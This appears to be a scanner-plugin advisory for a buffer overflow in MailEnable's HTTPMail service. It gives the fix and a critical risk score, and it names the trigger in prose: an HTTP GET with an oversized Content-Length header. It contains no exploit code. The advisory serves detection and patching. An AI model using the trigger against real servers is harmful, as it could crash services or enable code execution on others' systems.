Synopsis :

The remote web server is affected by a buffer overflow vulnerability. 

Description :

The target is running at least one instance of MailEnable that has a
flaw in the HTTPMail service (MEHTTPS.exe) in the Professional and
Enterprise Editions.  The flaw can be exploited by issuing an HTTP GET
with an Content-Length header exceeding 100 bytes, which causes a
fixed-length buffer to overflow, crashing the HTTPMail service and
possibly allowing for arbitrary code execution.

http://archives.neohapsis.com/archives/fulldisclosure/2004-07/1314.html

Solution : 

Upgrade to MailEnable Professional / Enterprise 1.2 or later or apply
the HTTPMail hotfix from 9th August 2004 found at
http://www.mailenable.com/hotfix/

Risk factor : 

Critical / CVSS Base Score : 10
